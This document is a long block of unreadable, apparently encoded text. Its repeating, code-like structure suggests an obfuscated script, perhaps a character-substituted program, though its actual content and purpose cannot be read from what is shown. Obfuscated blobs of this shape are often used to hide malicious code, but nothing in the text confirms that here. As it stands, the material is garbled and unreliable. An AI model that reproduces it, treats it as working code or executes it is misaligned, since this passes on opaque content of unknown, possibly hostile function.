KKGO^^^C^^GHNVOJNNWVY""YR^^^^YQYR^^Z
KKGOWEt^^^^^^^VZ
KKGO^^^_CC^\\^XX^KO	VOGMOWVZOKOR^^^Z
KKGO^^^^P^^YQYW^CCC^NW^tQQ^).^8

^?.7^

^
tt^^ZNON!	^^C^
Et^^^^^^Ettttt^t^^^^^^^^VZNON!	^^XX^^^
GH!	G
JGVZOMO!W^^^_CC^^^W^^t^>KO	VOGJKWVZOMO!WEtttt>J	VOGJKWVJ	VOGJOWVZOMO!W^^^P^^^M!VOGKLW^P^^^^MHFKVOIHNWVZOMO!R^^MHFKVOIILWWWEt^^^^^^^^^^t!LNLVM!VOGKMWR^M!VOGKJW^P^^KO	VOIHNWVZOMO!WWEtt^ttt
^^\\Ettt
^^^^^Z	I!Et^t^
^^
NN!
VWt^^^^t^

^^ZOMO!^^^C^Et^^^^VZOMO!^^CCC^^W^^^^^t^^ZJGKFGKM^C^^^H!H!VWEtttt^^^^ZOMO!^^^C^^^^^^VJ	VOGKKWVZJGKFGKMW^^^^^^XX^
VZJGKFGKM%M!VHKMW#W^^XX^^^^^KO	VOGKHWVV
W^^ZJGKFGKM%KO	VHKMW#R^^M!VOGKIWW^CCC^^^^NWEt^^^^^^tttt^^^^
^^ZOMO!Et^tt^^
^JJMVWt^^^^t^^^^^^^V_VMHFKVOGKFWWW^^^^^
Etttt^^^ZN^C^?<-.?*6^^^^P^^KO	VOKGGWEt^^V_>MHFKVOGKGWVZNWW^^^^^^t^^^^^^^ZMF	KHM^^C^^^^MHFKVOGJOWV?<-.?*6W^^^P^^MHFKVOGHNWEt^^^^V>J	VOGKGWVZMF	KHMWW^^ZN^^^C^ZMF	KHMEttQQ^>

^S		tt^^V_>J	VOGKGWVZNW^^^^_>MHFKVOHFLWVZNWW^^^
Et^ZOKO^C^^>J	VOGKNWVZNWEt^^^^VJ	VOFJMWVZOKOW^^^XX^^^ZOKO^^_CC^^^\\^^XX^>KO	VOHFLWVZOKOWW^^^ZN^^C^^ZOKOEt^^^^V>KO	VOGMJWVZNW^^^@^^VJOGJLFFUOHWW^
Et^Z
JGO^C^^^^>KO	VOGHOWVZNWEt^^^^V_GHNVOGHLWVZ
JGOW^^^^^^^^^^Z
JGO^^^^^^CCC^^^\\W^^^
EtZ
	KIG^^^^C^VGHNVOGHMWVZ
JGOR^^M!VOGHJWW^^_CC^^^^^KO	VOGHMWVZ
JGOR^^J	VOGHKWW^_CC^WEt^^^ZFK	OH^^C^Et^^^^^^^^^VMHFKVOGHHWVZ
JGOR^KO	VOGHIWW^^^^^CCC^^W^ttt^V_
VZ921<?2-%KO	VJHW#WW^t^^ZFK	OH^C^
Et^^^^^^^tZJI	NNF
^^C^^J	VOFGKWVJ	VOOKWW^^^A^^^^M!VOOKWVW^^^^^^D^^M!VOGHFWEt^^^^V_>M!VOHHNWVZJI	NNF
W^^^^^^^^_>GHNVOHFLWVZJI	NNF
WW^^ZFK	OH^^C^^
Et^^^^t^^^^t^^^ZH
GMI^^C^^^Et^ZHM
KIJ^^^^C^^^^Et^^^^^^V_MHFKVOGJFWVJ	VOGHGWR^^Z
JGOW^^^XX^^VGHNVMNMWWW^^t^^^Z!^^C^).!=10*;0*!:7,^P^^GHNVKINWEt^^^tt^^^^V>J	VOGKGWVZ!WW^tZOOIK^^C^^^V
W^>M!VOGINWVZ!R^^R^^R^^NR^VNIIUNMFGWWEt^^^^^VJ	VOGHHWVZOOIKR^^M!VOGIOWW^^_CC^^^^^^W^^ZH
GMI^C^^^^^^
Ett^^^^^^^^Vt^MHFKVOGHHWVZ
JGOR^J	VHNLWW^^CCC^^tXX^MHFKVOGJFWVM!VOGILWR^^Z
JGOWt^^W^t^^ZHM
KIJ^C^^^
Et^^t^^^^^ZJNLGI^^C^^^Et^^^^tt^^^^^^^^^V
NN!
VWW^^^t^Vt^_GHNVOGJFWVM!VOGIMWR^^Z
JGOWt^^^^^^^^^^^_M!VOGJFWVGHNVOGIJWR^^Z
JGOWt^^^^^^^^_MHFKVOGJFWVKO	VOGIKWR^^^^Z
JGOWt^^^^W^^ZJNLGI^^C^^^^
Ettt^^^t^^^^^^V_Z
	KIG^^^^XX^^_ZFK	OH^^^XX^^^_ZH
GMI^^^^^^XX^^_ZJNLGI^XX^^_ZHM
KIJW^
Et^^^ZH
NKIK^^^^C^^^^^^\\Et^^^Z!!KFIHI!LH^^C^^^^Z
JGOEt^^VZ
	KIGW^^^^t^^^^^VM!VOFJKWVGHNVOGIHWR^^^Z
JGOR^^^^Z!FH
G
N!WW^^^^^ZH
NKIK^^^^PC^MHFKVMIKWV\"\R^Z!FH
G
N!%N#WEt^Z!!KFIHI!LH^^C^^^^^^KO	VOHKJWVMHFKVOGIHWR^^\\R^^^Z
JGOWEt^V_KO	VOGHLWVZ!!KFIHI!LHWW^^
Et^^tt^^VM!VOGIIWVGHNVOGIFWR^^Z!!KFIHI!LHR^^^^Z!HNJ	WW^^^ZH
NKIK^^PC^^\"\^^P^^^GHNVOGIGWV\"\R^^^Z!HNJ	%N#WEt^^^^Z!!KFIHI!LH^^^C^GHNVOGFNWVGHNVOGIFWR^\\R^^Z!!KFIHI!LHWEt^^^^^^^^^V_GHNVOGHLWVZ!!KFIHI!LHWW^^^
Etttt^^^^^VZFK	OH^^XX^^^^^GHNVOGJFWVGHNVOGFOWR^^Z!!KFIHI!LHWW^t^Z!!KFIHI!LH^^^^C^^^^J	VOGFNWVGHNVOGFLWR^^^M!VOGFMW^^^P^^^\V^Y).!*;3.!:7,YR^V^V^Y).!=10*;0*!:7,Y^W^A^).!=10*;0*!:7,^D^?<-.?*6^P^Y	S

Y^W^P^YQP!
Y^WE"\R^^Z!!KFIHI!LHR^^^OWEt^^tt^^V_KO	VOGHLWVZ!!KFIHI!LHWW^^^
Et^^^^^t^^^^VZH
GMI^^^^XX^^KO	VOGJFWVGHNVOGFOWR^^Z!!KFIHI!LHWW^tQQ^>
^S
tt^^Z!!KFIHI!LH^^^^^^C^^MHFKVOGFNWVMHFKVOGFLWR^^^KO	VOGFJW^^^^P^^^\V^Y).!=?=6;YR^
^WE^QT^-=!)=^TQ"\R^^^^Z!!KFIHI!LHR^^^OWEt^^V_KO	VOGHLWVZ!!KFIHI!LHWW^
Et^^^^^^^VZHM
KIJW^^tttt^Z!!KFIHI!LH^^^^^C^^^KO	VOGFKWVJ	VOGFHWR^^GHNVOGFJW^^^P^^^^^\V^Y).!=?=6;YR^
^WE^QT^-=!)=^TQ"\R^^Z!!KFIHI!LHR^^^^^OWEttt^^^^^^^V_M!VOGFIWVZ!!KFIHI!LHWW^^^
Ett^^^^VZJNLGIW^^^^t^^^^^Z!!KFIHI!LH^^^^C^M!VOGFKWVMHFKVOGFFWR^\\R^Z!!KFIHI!LHWEtt^^^^V_GHNVOGFIWVZ!!KFIHI!LHWW^
Ettt^^^^VMHFKVOGJFWVKO	VOGFLWR^^^Z!!KFIHI!LHWW^^t^Z!!KFIHI!LH^C^GHNVOGFKWVGHNVOGFGWR^^KO	VOGGNW^^^^P^\V^Y).!:;<+9YR^
^WE"V^Y).!:;<+9!219YR^
^WE"V^Y).!:;<+9!:7-.2?'YR^^WE"\R^Z!!KFIHI!LHR^^^OWEt^^^V_M!VOGFIWVZ!!KFIHI!LHWW^
Ett^t^t^^^^VZ!!KFIHI!LH^^^^^CCC^^Z
JGOW^
Ett^^^^V_JKOOFVZ!!KFIHI!LHWW^
Et^VZH
GMI^XX^^^_O!FMJVZNR^^^^Z
JGOWW^^^t^^^^^^^!LNLVGHNVOGGOWR^MHFKVOGGLWWEtZ!!KFIHI!LH^^^C^^^^J	VOGFKWVGHNVOGGMWR^^GHNVOGGNWR^^^^Z!!KFIHI!LHR^OWEt^^^^V_KO	VOGFIWVZ!!KFIHI!LHW^^^^^^Z!!KFIHI!LH^^^CCC^^Z
JGOW^^^
Et^^^^^V_JKOOFVZ!!KFIHI!LHWW^
Et^^^^tQT^^^TQttZGNGN^^^C^^^^>VZNWEt^^^^^^^^ttZGNGN^^^C^VZGNGN^CCC^^^W^^^A^^^^VMMKUFKW^D^^^^VZGNGN^^X^VJMHUIKWWEt^^ZM!

^C^>KO	VOGJNWVZNWEt^^^^^ttZFFH!!NM^^^^^C^^>GHNVOGGJWVJ	VOGJOWVZNWR^^GHNVOGGKWWEt^^^^^^^VZFFH!!NM^^^^^^CCC^^W^^^
Et^^^^^^^^^^V>KO	VOGJMWVZFFH!!NMR^^^Z!!KFIHI!LHW^^^_CC^^^^GHNVOGMFWVZ!!KFIHI!LHWW^^tQQ^).^;

,^^ttt>KO	VOGJKWVZFFH!!NMWEZMJO	CHKIEZ!LM
!FNFCVZMJO	@NWAZMJO	DSZMJO	Et^^
Et^tt^>M!VOHMWVZFFH!!NMR^^ZGNGNWEt^^^V_>J	VLNNWVZFFH!!NMR^^^ZNWW^t>J	VOGGHWVZFFH!!NMWEZIJKIKICVNHUNHWEZKGH!CZIJKIKI[OKEttt^^^^
Et^^^^^t^^^^VZM!

W^>GHNVOGJHWVZNR^^ZM!

WEt^^^VM!VOFGKWVMHFKVOGJIWWW^^^^>!
VZNR^^^
WEt^^^VJ	VOGGIWVMHFKVOGGFWR^^ZH
NKIKR^^^^ZGOFGH
WW^^t^VKO	VOLFGWVZGOFGH
%O#W^^^^^^ZKHNW^^^t^^^^VGHNVOGGGWVZKHNR^^M!VOGHKWW^^^CCC^N^XX^>J	VOGKGWVZKHNWW^>M!VOGGHWVZKHNWEtt^^^ttt^^^^^VKO	VOFGKWVM!VLNNNWW^^^^XX^^^^^KO	VLNNOWVMHFKVLNNLWR^ZH
NKIKR^^^^^ZHNKGWW^^^tttt^^^VKO	VOLFGWVZHNKG%O#W^^^ZNIJGM	W^^^t^^^^^^^^VGHNVOGJFWVMHFKVLNNMWR^ZNIJGM	WW^^^>
!
VZNIJGM	WEt^^^^^tttt^t^^^^^^
^^K!
VWtt^^^^V_VJ	VLNNJWWW^^^
Ettt^ZGI^^^^^C^^^^VKO	VOHFKWW^A^^^^^).3+!.2+970!:7,^^D^^^).!=10*;0*!:7,^^^P^KO	VOHWEt^^ZM
K^^^C^^^^VWEt^^^^VM!VOFGKWVGHNVGHJWWW^^t^V>GHNVLNNKWVZGIWW^^^^VVW^>GHNVGHJWVZGI^^^P^^^^MHFKVHHJWW^^^^^ZNW^^^ZM
K%#^^C^^^^ZNEt^^^^^^^^VVKO	VHWW^^^XX^^>M!VLNNKWV).!.2+970!:7,WW^^^^^^VVW^^^^^>GHNVGHJWV).!.2+970!:7,^^^P^^^KO	VKNMWW^^ZNW^ZM
K%#^C^ZNEt^^^tZ
IOK^C^^^^VKO	VLNNHWW^^A^^^^?<-.?*6^^^D^\\Et^^^ZHIIHFMJ^^^^^C^^^).!=10*;0*!:7,^^P^^GHNVOJJW^^P^^^J	VOFMOWVKO	VOFFGWVZ
IOK^P^^^MHFKVLNNIWWR^^NR^^^VKUMWW^^P^^GHNVKMW^^P^^MHFKVOFMOWVM!VOFFGWVZ
IOK^P^^M!VKKWWR^^NR^^VOFG OFOWW^^^^P^^^^^^J	VOIILWEZFOI!ICVNUNWEZOO
CZFOI!I[HEt^^^^V>GHNVLNNFWVZHIIHFMJWW^ZM
K%#^C^^^^^ZHIIHFMJEt^^^^^^VZM
K^^^ZNW^tZM!

^C^>MHFKVOGJNWVZNWEt^^^^^^V_ZM!

^^^^^VZM!

^^[^^VKHGNJUJMNGHWW^_CC^VGMIFNUMGWW^t^^^^ZJG!MIFK
^C^^^>KO	VOGMJWVZNWEtttt^^V_ZJG!MIFK
^^^^^^ZJG!MIFK
^^^B^^VJNHUGJW^^ZJG!MIFK
^^^@^^^VNMOUNLLLNOWW^^^^
EtttttZOKO^^C^>KO	VOGKNWVZNWEt^^^ZO	
J^C^^^^>MHFKVOGKNWVK		HK!	VWWEttt^^^VMHFKVOGFIWVZOKOW^XX^^^GHNVOGFIWVZO	
JW^^^XX^ZOKO^^CCC^^^^ZO	
JW^^^^^
EtZNG^^^^C^^>M!VOGINWVZNR^R^R^^^NR^^^VLJGNUOHNHWWEt^^^^^^V_J	VLNNGWVZNGW^^^^^^MHFKVOGGGWVZNGR^^^KO	VOGMLWW^CCC^^^^^W^
Et^^^V_GHNVOGJFWVM!VLLJWR^^ZNGR^^^Z
HIWW^^
Ett^^^^^^^^V_!VZ
HI%O#R^^MFKKIO
VWR^^^YBYWW^
Ett^^^^^^ZGII^^C^^^^
GH!	G
JGVZNWEt^VZGII^^^^^CCC^W^t^^!LNLVM!VOGKMWR^^^MHFKVLNONW^^P^^M!VOIHNWVZNWWEttt^^
Etttt^^^^t^^VZGII^^^^CCC^^
W^^^t^^^^VHOMFHJVZNR^^ZN^^P^^^MHFKVLNOOWWW^^tt^^^^^^^^^^^^^VJ	VOFGKWVGHNVOGJIWWW^^>!
VZNR^
WEt^^^^^t^>KO	VOGGHWVKO	VLNOLWVZNW^^P^^^KO	VOGKLW^^P^^^^J	VOIHNWVZNR^M!VOIILWWWEt^^
Etttt>J	VOGGHWVZNWEt^>M!VOGGHWVM!VLNOLWVZNW^^^^^P^^^^^KO	VOGKLW^^P^^^J	VOIHNWVZNR^GHNVOIILWWWEt^^^VJ	VOFGKWVMHFKVOGJIWWW^^>!
VZNR^^
WEt^^^ttttJJMVWEt^^^ZI
KNKFN^^^^C^^).!=10*;0*!:7,^^P^^MHFKVOLKIWEt^^^V>M!VLNNKWVZI
KNKFNW^^^^^XX^J	VOFGKWVGHNVLNOMWWW^^t^^^^^VVW^>KO	VLNOMWVZI
KNKFN^P^^^MHFKVLNOJWW^^^ZG
GNIGW^^t^V_>J	VLNNFWVZG
GNIGW^^_>MHFKVOHFLWVZG
GNIGWW^^^
Et^^^^^^ZF
^^^C^^^^^>GHNVOGMJWVZG
GNIGWEt^^^^^V_ZF
^^^^^^ZF
^^@^VNOLHOJUNGOWW^^^^^^
Et^^ZLJMK^C^^^>M!VLNOKWVZG
GNIGWEt^^^^^V_M!VLNOHWVZLJMKWW^^
Et^^^^^^^^^^^VMHFKVOGGGWVZLJMKR^^^^KO	VOGLGWW^CCC^^^XX^^J	VLNOIWVZLJMKR^M!VLNOFWW^^CCC^^^^XX^^M!VLNOIWVZLJMKR^^KO	VLNOGWW^^CCC^W^
Et^V_
NOM
LF	GJGVZLJMKWW^^^
EtZMI^^^^C^^^!
VZLJMKWEt^^^^^^^^^VGHNVLNOHWVZMIW^^XX^^ZMI^_CC^^ZLJMKW^ZM
L	CVNMFUNMWEZLNN
ICZM
L	[OKEt^^^GGLJO!MOVZG
GNIGR^^^^ZMIWEt^^^^^^^^^VGHNVLNLNWVM!VLNLOWWW^>!
VZG
GNIGR^^
WEtttt^t^^^^^t^^^^tQQ^).^-^<D^
^
tt^	MIO!FKV).!=10*;0*!:7,^^P^^GHNVKINWWEt	MIO!FKV).!=10*;0*!:7,^^^^P^^J	VKIHWWEt^^^VM!VLNLLWVGHNVOFFHWW^XX^^^^^KO	VLNLLWVM!VLNNNWW^XX^^^^^J	VLNLMWVMHFKVLNLJWWW^tt^Z!^^^^C^K!NGJ	V?<-.?*6^^P^MHFKVOHMHWR^^VOISIWWEt^ZJN^^C^^^^^^>
!
VZ!R^\\WEt^^^^VJ	VLNOHWVZJNW^^XX^ZJN^^_CC^^\\W^^tZHOF^C^^^J	VLNLKWVZJNR^^
WEt^VJ	VLNOHWVZHOFW^^XX^KLVZHOFWW^^>
!
VZ!WEt^^^t^^^^^^^^ZLM^^^^^C^MHFKVLNLMWVGHNVLNLHWW^A^GMGHNGVKO	VLNLIWR^^\\W^^^^D^\\Et^^^^^^^^^^VJ	VLNLFWVZLMW^XX^^^^ZLM^_CC^\\^^^^^XX^^^^VMHFKVLNLGWVZLMW^^@^VONJFKKNULHW^^^^^^^^^VJ	VLNMNWVJ	VLNMOWW^^^^XX^^
F	LFHVZLMWW^^^^^JLIFKIVZLMWWW^^^^t^^^VKO	VLNMNWVM!VLNMLWWW^^^FOGJMVKO	VLNLIWR^\\R^J	VLNMMWWEt^^^^^^tt^tt^
^^^^^^GKNIO	MVWt^t^
^t^V_VKO	VLNNHWWW^^^^
Et^^^^^^V_
VZ921<?2-%KO	VLNMJW#WW^tZ921<?2-%KO	VLNMJW#^^^C^NEZ	I!CVNHUNNWEZMCZ	I![LEt^!LNLVKO	VLNMKWR^KO	VLNMHWWEt^t^^^^^^^^V_
VZ921<?2-%J	VLNMIW#WW^^^
Etttt^^^^^^Z921<?2-%GHNVLNMIW#^C^^^
Ettt^^^^V_
VZ!9;*%M!VOFJGW#W^^XX^MHFKVLNMNWVGHNVOFFHWW^XX^KO	VLNMNWVGHNVOFIMWWW^t^ZLMNFG^^C^>
!
VGHNVOGLHWR^^^^VWWEttZ
NJMF^^C^Et^^VGHNVOGKKWVZLMNFGWW^^^^t^^V_
VZLMNFG%Y
Y#W^^^^^XX^^M!VOFGFWVW^^S^V
W^^^ZLMNFG%MHFKVOFGOW#^^^^B^^VNHIUNKOWW^Z
NJMF^C^
Et^^^^^^V_Z
NJMF^XX^^^_
VZLMNFG%MHFKVOGOFW#W^^XX^J	VOGKKWVZLMNFG%MHFKVOGOFW#WW^^^^^^t^^VZLMNFG%M!VLNMFW#^^^^Z!W^^t^^^^^^^^^VJ	VOGKKWVZ!W^^^XX^M!VOFGFWVW^S^^V
W^Z!%KO	VOFGOW#^B^^^VNLKUNJJMWW^^^ttttZ
NJMF^^C^^
Et^EZ	KLCHMOGJEZLCZ	KL OEtttt^tt^^^^^tQQ^>
^S
ttt^^^^^^^^^^VZ
NJMFW^J	VOFIMWVJ	VLNMGWWEt^^t^^^^^V	KOLVK		HK!	VWWW^^
EtK!
VWEt^^^OGHOLMJVK		HK!	VWR^MFKKIO
VWWEt^^^V_K!VWW^^tN
OHMLOVWEtHIG!
!VWEt^tt
Ettttt^^^^^^ZII!N	GNL^C^J
J!	VWEt^^^^^ZHH^^^C^^VtK		HK!	VWRt^^^ZII!N	GNL^^^P^KO	VLNJNWRtt^^^WEt^ZOKMML	^^^^C^^JGFIII!VWEt^^^^^VZOKMML	^^^ZGMOJW^tt^^V>J	VLNNFWVZGMOJWW^^^^ZHH%#^^^C^^^ZGMOJEt^tQQ^).^;^<D^
^
S
tt^ZONI	J^^C^^^VWEt^^^VF	NN!IVWW^^t^^ZGLOJG^^^^C^^^K!NGJ	V?<-.?*6^P^^^KO	VOKNOWR^^VNHUNLWW^^^P^KO	VOIILWEt^^^^ZONI	J%GHNVLNJOW^^^^P^^?<-.?*6^P^^^J	VOKNKW#^^^C^^ZGLOJGEt^ZONI	J%GHNVLNJOW^P^^ZII!N	GNL^^^P^^^J	VOJFFW#^C^^ZGLOJGEtt^^^^^^ZONJ^C^^^^^GHNVLNMNWVGHNVLNJLWW^^A^^>KO	VLNJLWVGHNVLNJMWW^^D^^^Et^^^^^VJ	VLNLFWVZONJW^^XX^^ZONJ^^^_CC^^\\W^t^^^ZNHML^^C^V
W^^
!
VKO	VLNJJWR^NWEt^^^V_ZNHML^^^^M!VLNJKWVW^S^^^^^ZNHML^^^@C^VFHMFLUOFWW^^^^^^tZ!OKLHG^C^^^K!NGJ	V?<-.?*6^P^^^^M!VLNJHWR^^VMUKWW^P^^^J	VOIILWEt^ZONI	J%KO	VLNJIW^^^^P^GHNVOGKOWV?<-.?*6R^^^KO	VOKNHWW^^^P^YQY^^P^^ZONJ#^C^Z!OKLHGEtZONI	J%J	VLNJIW^P^^ZII!N	GNL^^^^P^YQY^P^^ZONJ#^C^^^^Z!OKLHGEt^^ttQQ^

^
S^

Stt^^ZGJNKHNG	^^C^^	O!
FKVWEt^^^^^^V>GHNVLNNFWVZGJNKHNG	%O#WW^^^^^^ZONI	J%GHNVLNJFW^^P^ZGJNKHNG	%N##^C^J	VLNJGW^^^P^ZGJNKHNG	%L#Etttt^^^^^ZK!GNF	^^^^C^^^>
!
VJ	VLNKNWR^^^^VWWEt^^^V_KO	VOGKKWVZK!GNF	WW^ZK!GNF	^^C^^^VWEttt^^^^^ZJFL
G^C^^^^^Et^^^^VZHH^^^^^^ZNOG!MNOW^^t^^^^ZKL^^^C^>M!VLNKOWVZNOG!MNOWEt^ZFI!^^C^^^^ZKL^A^VZKL%KO	VLNKLW#^P^^YY^P^ZKL%M!VLNKMW#W^D^^^^YNYEtZILJ!^^^^C^^^^
VZK!GNF	%ZNOG!MNO#W^A^^^^ZK!GNF	%ZNOG!MNO#^D^\\Et^^VZFI!^^^CCC^^^^^ZILJ!W^^
Et^VGHNVOGJFWVGHNVLNKJWR^^^^^ZILJ!R^^^ZIHLKW^^^^XX^^GHNVOFMOWVZILJ!R^^^NR^^SM!VLNKKWVZIHLK%N#WW^CCC^^^^ZFI!^XX^J	VLNJKWVW^S^^^^^V
W^ZIHLK%O#^^^^^B^VNMOUNOWW^^^^
Ett^^^^ZJFL
G^C^^^
Et^^^Et^^^^^^t^^^^V_ZJFL
GW^tt^^VZONI	J^^^^^^^Z^^^^^C@^^ZJLW^^^^^t^^^^^^^^ZFI!^^C^^^^L!
G	HVMHFKVOFMOWVZR^^^VOLL OLIWWR^^ZJLWEt^ZILJ!^C^^^
VZK!GNF	%Z#W^^^^A^^^^ZK!GNF	%Z#^D^^^\\Et^^^^^^^VZFI!^CCC^^^^^ZILJ!W^^
Et^^^^VKO	VOGJFWVJ	VLNKJWR^^^^^ZILJ!R^^^ZIHLKW^^XX^^^^^^GHNVOFMOWVZILJ!R^^^NR^^^^SJ	VLNKHWVZIHLK%N#WW^^CCC^^^^ZFI!^^XX^^^J	VLNJKWVW^^S^V
W^ZIHLK%O#^^^B^VNGGNUNHNWW^
Et^^ZJFL
G^C^^
Ettt^^Ettt^^^^^t^t^ZJJMNO^C^^KO	VOIHNWVK		HK!	VWR^KO	VLNKIWWEt^^ZOGN^^^C^^ZII!N	GNL^^^P^^^MHFKVLNKFW^^P^^ZJJMNO^^P^YQY^^^P^ZJJMNO^^^^P^^^J	VLNKIWEt^ZHHF^^C^^GG	GF	KHVWEt^^^V_>KO	VLNNFWVZOGNW^^^V
W^^^^^^>M!VOGMJWVZOGNW^^^B^^VNOUNIIWW^^ZJFL
G^^C^^^^
Et^^^^^^^^VZHHF^_CC^^^\\^XX^^_>KO	VLNKGWVZHHFWW^ZJFL
G^C^^^
Et^^^^^^^^V_ZJFL
G^^^^^XX^^^GHNVLNMNWVM!VOFFHWWW^^^tQQ^^
^^3-/2^4-10^
ttt^^^ZLI	MGNM^^^C^ZJJMNO^P^^YQY^^P^^^ZJJMNO^^P^M!VLNKIWEt^^^^^^^Z		
HGO!^C^^^^
!
VM!VFKKWR^VWWEt^^V_J	VOGKKWVZ		
HGO!W^^^^_GHNVLNHNWVZLI	MGNMR^^^^Z		
HGO!R^^^
WW^ZJFL
G^^^C^^^^^
Et^^tQQ^
^
S
tt^^^^^^V_ZJFL
GW^^
Etttt^^^^^V_
LJM!!VM!VOOIHWWW^
Ett^
^t^^^^^^OGMJLJ!KMVWEtKNJGVWEt^HIG!
!VWEtMMO	NVWEt^^^^^^HFJGVWEtN
OHMLOVWEttttMHKGHGOVWEt^^^^LFI!MIVWEtZ!JJ^^^C^^
MVWEtZONI!^C^F	LHOI
VWEtZ			K^^C^^^^VWEtttt^^^^VZHH^^^^^^^ZNOG!MNOW^^^^ttt^Z	KMN^C^^^^^VZNOG!MNO^^CCC^^^ZII!N	GNL^^^^^^P^^KO	VLNHOW^^^^XX^^^_Z!JJW^^^^^^^VKO	VLNHLWVZNOG!MNOR^^SVLOSIWW^^^^CCC^^MHFKVLNHMW^^^^XX^^^^_ZONI!WEt^^ZKL^^C^^>M!VLNKOWVZNOG!MNOWEttt^^^^VZKLW^^tZ			K%ZNOG!MNO#^C^^ZKL%M!VLNHJW#^^P^^^^^YY^^^P^ZKL%MHFKVLNKMW#^^^^^P^^^^^VZ	KMN^^^A^M!VLNHKW^P^M!VLNJKWVW^^^D^^\\WEt^t^t^^VZONI	J^^^^^^Z^^^^^C@^^^^^ZJLW^t^^^^ZHN^^C^L!
G	HVM!VLNHHWVZR^VOUJWWR^^^^^^ZJLWEt^^VZHN^CCC^YNY^^^KO	VLNHHWVZHNR^^^^SLW^^^^CCC^^KO	VLNHIWW^^ZHN^PC^^KO	VLNHKW^^P^^J	VLNJKWVWEtZ			K%Z#^C^^^ZHNEt^^^t>
!
VMHFKVLNKNWR^^Z			KR^^^^M!VLNMMWWEt^^^^^^ttM
G	FFLIVGHNVLNHFWWEt^t^^^^^^^
^^^V*	^^ZMN!W^^t^!LNLVKO	VLNHGWR^^^ZMN!WEt^^^^
^^V;
^^^^ZMN!W^^^t^^^^tQQ^).^-^-^,D^
S
^S		tttttt
^^^^L!
G	HVZNOG!MNOR^^ZJLWt^^t^^^ZKL^^C^^^>GHNVLNKOWVZNOG!MNOWEttt^^^V_ZKLW^
^YNYEtZFI!^^C^^ZKL%MHFKVLNHJW#^P^^YY^^P^^ZKL%KO	VLNKMW#Et^^^^^^^VZKL%MHFKVLNHJW#^@^^^VONJFJGJUFLWW^
^M!VLNINW^^P^ZFI!EtZ
JGO^^^^C^^>MHFKVLNIOWVZNOG!MNOWEt^^
^^ZFI!^^P^YY^P^^^VVGHNVLNLFWVZ
JGOW^XX^^KO	VLNILWVZ
JGOR^^^ZJLW^_CC^^^W^A^^^^YOY^^^D^^^YNYWEt^t^
^^^^^	HIVWttt^^Z!^^C^^^^^M!VLNIMWVKO	VLNIJWW^^^^^A^
!
VJ	VFNHWR^\\W^^D^\\Etttt^M
ONF!!VWEtZK!
^C^^GHNVLNIMWVGHNVLNIJWW^A^^^^
!
VGHNVLNIKWR^\\W^D^^^^^\\Et^^^VZK!
^CCC^Z!W^^^>
!
VM!VLNIHWWEt^^t
^^^M
ONF!!VWt^t
^^t^^V_VKO	VLNNHWWW^^
Et^^^^^^^tt^ZII!N	GNL^^C^^J
J!	VWEt^^ZLNGGMOH^^C^^JOHMLKLVWEt^ZJI^^^C^K!NGJ	V?<-.?*6^^P^^KO	VOJOJWR^^VLL MNWW^^P^^GHNVOHMKWEt^^^^tttttZFMHGK!ON^^C^^^^K!NGJ	V?<-.?*6^P^^^^^J	VLNIIWR^VOKSIWW^P^^^GHNVLNKIWEt^^^^ZLNOMO^^^C^^K!NGJ	V?<-.?*6^^P^KO	VLNIFWR^^^^VOKSIWW^P^M!VLNKIWEtttt^^^^ZJO
IM^^^C^^^K!NGJ	V?<-.?*6^^^P^^^MHFKVOMGMWR^^^^VKUMWW^P^^^M!VLNIGWEt^ZF
!^^C^^K!NGJ	V?<-.?*6^P^^^^KO	VLNFNWR^^^VIUOWW^^P^GHNVLNIGWEtZJI
IHG^^^^^C^GHNVKFOW^P^^^K!NGJ	V?<-.?*6^^^P^^YYR^^VOKSIWWEtZ!
^C^Vt^^^^^^^^ZII!N	GNL^P^^^^GHNVKINW^^C@^M!VGLFWRt^ZII!N	GNL^P^^GHNVLNHOW^^C@^^^^M!VLNFOWRt^^^^WEt^^^^^^^VZ!
^^^^^^ZNOG!MNO^^^C@^ZW^ZF
C.6.!70*!3?&Q.6.!70*!3?&EZ!N
NCZF
UIFEt^^^^^^^^^V_>M!VLNKGWVZNOG!MNOWW^
Et^^Z
JGO^^^^^C^^^^>M!VLNIOWVZNOG!MNOWEt^^VZ
JGO^^^^^CCC^^^^^^W^
EtZKJ
O^C^^J	VGMLW^P^Z^P^M!VGMMW^^P^^^^^^Z^^^^^^P^^^^MHFKVGMJWEt^^^Z	GG	H^C^^^MHFKVLNFLWVZKJ
OR^^\\R^Z
JGOWEt^^VZ	GG	H^^^^_CC^^^Z
JGOW^GGLJO!MOVZNOG!MNOR^^^Z	GG	HWEt^^t^^^^^^ZMI^^C^^^ZII!N	GNL^^^^^^P^^^GHNVKIGWEt^^^^^^V>GHNVLNKGWVZMIWW^^ttt^^^^Z!KFKLOO^^C^^>GHNVLNIOWVZMIWEt^^^^^VGHNVLNLFWVZ!KFKLOOW^^^^^XX^^^^^^Z!KFKLOO^^^_CC^^^\\W^^t^^^^^^^^^VMHFKVOGJFWVGHNVLNFMWR^^^^^GHNVLNHHWVZ!KFKLOOR^NR^VLKGUJOWWW^^^J	VLNFJWVZ!KFKLOOR^^^^^J	VLNFKWW^^^CCC^^^^NW^t^^^MIFJHVZMIR^^VMHGUKOWWEt^^^OM	VZMIWEt^^^^^^^^t^^Z	IMOI^^C^KO	VLNFLWVKO	VLNFHWR^^^^^\\R^^^^^Z!KFKLOOWEtt^^^VJ	VLNLFWVZ	IMOIW^^^^^XX^Z	IMOI^^^^^_CC^^^^^Z!KFKLOOW^^^GGLJO!MOVZMIR^^Z	IMOIWEt^^^^
VZ	IMOIWEt^^^^^^^tQQ^^
^^3-/2^		^
ttttt^^
VZ!KFKLOOWEtt^ZHL^C^^GHNVLNOLWVK		HK!	VWW^^P^MHFKVLNFIWEt^^^ZJOLL^^^C^^VKO	VLNNJWW^^A^).!=10*;0*!:7,^^^^^P^^^KO	VLNFFW^^D^^^^^^ZHLEtttt^^^ZHL!^C^VtZII!N	GNL^^P^^^YQY^^^P^^^^ZJIRt^ZII!N	GNL^^^P^^YQY^^P^^ZFMHGK!ONRt^^^ZII!N	GNL^^^^^P^^YQY^^P^^ZLNOMORt^ZLNGGMOH^P^^^^^^YQY^P^ZJO
IMRt^^ZLNGGMOH^^^^P^^^YQY^^^P^^^^^ZF
!Rt^^^ZLNGGMOH^P^YQY^P^^^^ZFMHGK!ONRt^^^^^^ZLNGGMOH^P^^YQY^^P^^^ZLNOMORtZHL^^P^^^YQY^^P^^ZJO
IMRt^ZHL^^P^^YQY^P^^^^^ZF
